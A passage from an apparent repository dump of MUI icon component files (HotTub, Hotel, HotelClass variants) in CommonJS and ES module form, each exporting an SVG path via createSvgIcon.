    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 15v2H5v-2zm2-10H3v2h18zm0 4H3v2h18zm0 4H3v6h18z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15h14v2H5z\",\n  opacity: \".3\"\n}, \"1\")], 'HorizontalSplitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HorizontalSplitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 15v2H5v-2zm2-10H3v2h18zm0 4H3v2h18zm0 4H3v6h18z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15h14v2H5z\",\n  opacity: \".3\"\n}, \"1\")], 'HorizontalSplitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotTub.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.15 12c-.31-.22-.59-.46-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C6.01 9 5 10.01 5 11.25V12H2v8c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-8zM7 20H5v-6h2zm4 0H9v-6h2zm4 0h-2v-6h2zm4 0h-2v-6h2zm-.35-14.14-.07-.07c-.57-.62-.82-1.41-.67-2.2L18 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71m-4 0-.07-.07c-.57-.62-.82-1.41-.67-2.2L14 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71\"\n}, \"1\")], 'HotTub');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotTub.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.15 12c-.31-.22-.59-.46-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C6.01 9 5 10.01 5 11.25V12H2v8c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-8zM7 20H5v-6h2zm4 0H9v-6h2zm4 0h-2v-6h2zm4 0h-2v-6h2zm-.35-14.14-.07-.07c-.57-.62-.82-1.41-.67-2.2L18 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71m-4 0-.07-.07c-.57-.62-.82-1.41-.67-2.2L14 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71\"\n}, \"1\")], 'HotTub');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotTubOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.15 12c-.31-.22-.59-.46-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C6.01 9 5 10.01 5 11.25V12H2v8c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-8zM7 20H5v-6h2zm4 0H9v-6h2zm4 0h-2v-6h2zm4 0h-2v-6h2zM17.42 7.21c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71l-.07-.07c-.57-.62-.82-1.41-.67-2.2L18 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72zm-4 0c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71l-.07-.07c-.57-.62-.82-1.41-.67-2.2L14 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72z\"\n}, \"1\")], 'HotTubOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotTubOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.15 12c-.31-.22-.59-.46-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C6.01 9 5 10.01 5 11.25V12H2v8c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-8zM7 20H5v-6h2zm4 0H9v-6h2zm4 0h-2v-6h2zm4 0h-2v-6h2zM17.42 7.21c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71l-.07-.07c-.57-.62-.82-1.41-.67-2.2L18 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72zm-4 0c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71l-.07-.07c-.57-.62-.82-1.41-.67-2.2L14 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72z\"\n}, \"1\")], 'HotTubOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotTubRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 12h-9.85c-.31-.22-.59-.46-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C6.01 9 5 10.01 5 11.25V12H3c-.55 0-1 .45-1 1v7c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-7c0-.55-.45-1-1-1M7 19c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1zm4 0c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1zm4 0c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1zm4 0c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1zm-3.94-9c.5 0 .93-.39.94-.89.04-1.4-.58-2.48-1.35-3.25-.65-.72-.8-1.27-.77-1.91.02-.52-.41-.95-.94-.95-.5 0-.93.4-.94.9-.03 1.29.5 2.43 1.35 3.25.61.59.78 1.27.78 1.89-.01.52.4.96.93.96m4 0c.5 0 .93-.39.94-.89.04-1.4-.58-2.48-1.35-3.25-.65-.72-.8-1.27-.77-1.91.02-.52-.41-.95-.94-.95-.5 0-.93.4-.94.9-.03 1.29.5 2.43 1.35 3.25.61.59.78 1.27.78 1.89-.01.52.4.96.93.96\"\n}, \"1\")], 'HotTubRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotTubRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 12h-9.85c-.31-.22-.59-.46-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C6.01 9 5 10.01 5 11.25V12H3c-.55 0-1 .45-1 1v7c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-7c0-.55-.45-1-1-1M7 19c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1zm4 0c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1zm4 0c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1zm4 0c0 .55-.45 1-1 1s-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1zm-3.94-9c.5 0 .93-.39.94-.89.04-1.4-.58-2.48-1.35-3.25-.65-.72-.8-1.27-.77-1.91.02-.52-.41-.95-.94-.95-.5 0-.93.4-.94.9-.03 1.29.5 2.43 1.35 3.25.61.59.78 1.27.78 1.89-.01.52.4.96.93.96m4 0c.5 0 .93-.39.94-.89.04-1.4-.58-2.48-1.35-3.25-.65-.72-.8-1.27-.77-1.91.02-.52-.41-.95-.94-.95-.5 0-.93.4-.94.9-.03 1.29.5 2.43 1.35 3.25.61.59.78 1.27.78 1.89-.01.52.4.96.93.96\"\n}, \"1\")], 'HotTubRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotTubSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.15 12c-.31-.22-.59-.46-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C6.01 9 5 10.01 5 11.25V12H2v10h20V12zM7 20H5v-6h2zm4 0H9v-6h2zm4 0h-2v-6h2zm4 0h-2v-6h2zm-.35-14.14-.07-.07c-.57-.62-.82-1.41-.67-2.2L18 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71m-4 0-.07-.07c-.57-.62-.82-1.41-.67-2.2L14 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71\"\n}, \"1\")], 'HotTubSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotTubSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.15 12c-.31-.22-.59-.46-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C6.01 9 5 10.01 5 11.25V12H2v10h20V12zM7 20H5v-6h2zm4 0H9v-6h2zm4 0h-2v-6h2zm4 0h-2v-6h2zm-.35-14.14-.07-.07c-.57-.62-.82-1.41-.67-2.2L18 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71m-4 0-.07-.07c-.57-.62-.82-1.41-.67-2.2L14 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72l.07.06c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71\"\n}, \"1\")], 'HotTubSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotTubTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"7\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.42 7.21c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71l-.07-.07c-.57-.62-.82-1.41-.67-2.2L18 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72zM11.15 12c-.31-.22-.59-.46-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C6.01 9 5 10.01 5 11.25V12H2v8c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-8zM7 20H5v-6h2zm4 0H9v-6h2zm4 0h-2v-6h2zm4 0h-2v-6h2zM13.42 7.21c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71l-.07-.07c-.57-.62-.82-1.41-.67-2.2L14 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72z\"\n}, \"1\")], 'HotTubTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotTubTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"7\",\n  cy: \"6\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.42 7.21c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71l-.07-.07c-.57-.62-.82-1.41-.67-2.2L18 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72zM11.15 12c-.31-.22-.59-.46-.82-.72l-1.4-1.55c-.19-.21-.43-.38-.69-.5-.29-.14-.62-.23-.96-.23h-.03C6.01 9 5 10.01 5 11.25V12H2v8c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2v-8zM7 20H5v-6h2zm4 0H9v-6h2zm4 0h-2v-6h2zm4 0h-2v-6h2zM13.42 7.21c.57.62.82 1.41.67 2.2l-.11.59h1.91l.06-.43c.21-1.36-.27-2.71-1.3-3.71l-.07-.07c-.57-.62-.82-1.41-.67-2.2L14 3h-1.89l-.06.43c-.2 1.36.27 2.71 1.3 3.72z\"\n}, \"1\")], 'HotTubTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hotel.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13c1.66 0 3-1.34 3-3S8.66 7 7 7s-3 1.34-3 3 1.34 3 3 3m12-6h-8v7H3V5H1v15h2v-3h18v3h2v-9c0-2.21-1.79-4-4-4\"\n}), 'Hotel');"
  },
  {
    "path": "packages/mui-icons-material/lib/Hotel.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13c1.66 0 3-1.34 3-3S8.66 7 7 7s-3 1.34-3 3 1.34 3 3 3m12-6h-8v7H3V5H1v15h2v-3h18v3h2v-9c0-2.21-1.79-4-4-4\"\n}), 'Hotel');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelClass.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.58 10H1l6.17 4.41L4.83 22 11 17.31 17.18 22l-2.35-7.59L21 10h-7.58L11 2zm12.78 12-1.86-6.01L23.68 13h-3.44l-3.08 2.2 1.46 4.72zM17 8l-1.82-6-1.04 3.45.77 2.55z\"\n}), 'HotelClass');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelClass.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.58 10H1l6.17 4.41L4.83 22 11 17.31 17.18 22l-2.35-7.59L21 10h-7.58L11 2zm12.78 12-1.86-6.01L23.68 13h-3.44l-3.08 2.2 1.46 4.72zM17 8l-1.82-6-1.04 3.45.77 2.55z\"\n}), 'HotelClass');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelClassOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L11 14.79l-2.42 1.84.93-3.01L7.24 12h2.82zM8.58 10H1l6.17 4.41L4.83 22 11 17.31 17.18 22l-2.35-7.59L21 10h-7.58L11 2zm12.78 12-1.86-6.01L23.68 13h-3.44l-3.08 2.2 1.46 4.72zM17 8l-1.82-6-1.04 3.45.77 2.55z\"\n}), 'HotelClassOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelClassOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L11 14.79l-2.42 1.84.93-3.01L7.24 12h2.82zM8.58 10H1l6.17 4.41L4.83 22 11 17.31 17.18 22l-2.35-7.59L21 10h-7.58L11 2zm12.78 12-1.86-6.01L23.68 13h-3.44l-3.08 2.2 1.46 4.72zM17 8l-1.82-6-1.04 3.45.77 2.55z\"\n}), 'HotelClassOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelClassRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.58 10H2.56c-.49 0-.69.62-.29.91l4.91 3.51-1.89 6.1c-.14.46.39.84.78.55L11 17.31l4.93 3.75c.39.29.92-.08.78-.55l-1.89-6.1 4.91-3.51c.4-.28.2-.91-.29-.91h-6.02l-1.95-6.42c-.14-.47-.81-.47-.96 0zM20.9 20.51l-1.4-4.52 2.91-2.08c.4-.28.2-.91-.29-.91h-1.88l-3.08 2.2 1.46 4.72 1.5 1.14c.39.29.92-.09.78-.55M17 8l-1.34-4.42c-.14-.47-.81-.47-.96 0l-.57 1.87.78 2.55z\"\n}), 'HotelClassRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelClassRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.58 10H2.56c-.49 0-.69.62-.29.91l4.91 3.51-1.89 6.1c-.14.46.39.84.78.55L11 17.31l4.93 3.75c.39.29.92-.08.78-.55l-1.89-6.1 4.91-3.51c.4-.28.2-.91-.29-.91h-6.02l-1.95-6.42c-.14-.47-.81-.47-.96 0zM20.9 20.51l-1.4-4.52 2.91-2.08c.4-.28.2-.91-.29-.91h-1.88l-3.08 2.2 1.46 4.72 1.5 1.14c.39.29.92-.09.78-.55M17 8l-1.34-4.42c-.14-.47-.81-.47-.96 0l-.57 1.87.78 2.55z\"\n}), 'HotelClassRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelClassSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.58 10H1l6.17 4.41L4.83 22 11 17.31 17.18 22l-2.35-7.59L21 10h-7.58L11 2zm12.78 12-1.86-6.01L23.68 13h-3.44l-3.08 2.2 1.46 4.72zM17 8l-1.82-6-1.04 3.45.77 2.55z\"\n}), 'HotelClassSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelClassSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.58 10H1l6.17 4.41L4.83 22 11 17.31 17.18 22l-2.35-7.59L21 10h-7.58L11 2zm12.78 12-1.86-6.01L23.68 13h-3.44l-3.08 2.2 1.46 4.72zM17 8l-1.82-6-1.04 3.45.77 2.55z\"\n}), 'HotelClassSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelClassTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L11 14.79l-2.42 1.84.93-3.01L7.24 12h2.82z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L11 14.79l-2.42 1.84.93-3.01L7.24 12h2.82zM8.58 10H1l6.17 4.41L4.83 22 11 17.31 17.18 22l-2.35-7.59L21 10h-7.58L11 2zm12.78 12-1.86-6.01L23.68 13h-3.44l-3.08 2.2 1.46 4.72zM17 8l-1.82-6-1.04 3.45.77 2.55z\"\n}, \"1\")], 'HotelClassTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelClassTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L11 14.79l-2.42 1.84.93-3.01L7.24 12h2.82z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m11 8.89.94 3.11h2.82l-2.27 1.62.93 3.01L11 14.79l-2.42 1.84.93-3.01L7.24 12h2.82zM8.58 10H1l6.17 4.41L4.83 22 11 17.31 17.18 22l-2.35-7.59L21 10h-7.58L11 2zm12.78 12-1.86-6.01L23.68 13h-3.44l-3.08 2.2 1.46 4.72zM17 8l-1.82-6-1.04 3.45.77 2.55z\"\n}, \"1\")], 'HotelClassTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14c1.66 0 3-1.34 3-3S8.66 8 7 8s-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m12-3h-8v8H3V5H1v15h2v-3h18v3h2v-9c0-2.21-1.79-4-4-4m2 8h-8V9h6c1.1 0 2 .9 2 2z\"\n}), 'HotelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14c1.66 0 3-1.34 3-3S8.66 8 7 8s-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m12-3h-8v8H3V5H1v15h2v-3h18v3h2v-9c0-2.21-1.79-4-4-4m2 8h-8V9h6c1.1 0 2 .9 2 2z\"\n}), 'HotelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13c1.66 0 3-1.34 3-3S8.66 7 7 7s-3 1.34-3 3 1.34 3 3 3m12-6h-6c-1.1 0-2 .9-2 2v5H3V6c0-.55-.45-1-1-1s-1 .45-1 1v13c0 .55.45 1 1 1s1-.45 1-1v-2h18v2c0 .55.45 1 1 1s1-.45 1-1v-8c0-2.21-1.79-4-4-4\"\n}), 'HotelRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/HotelRounded.mjs",
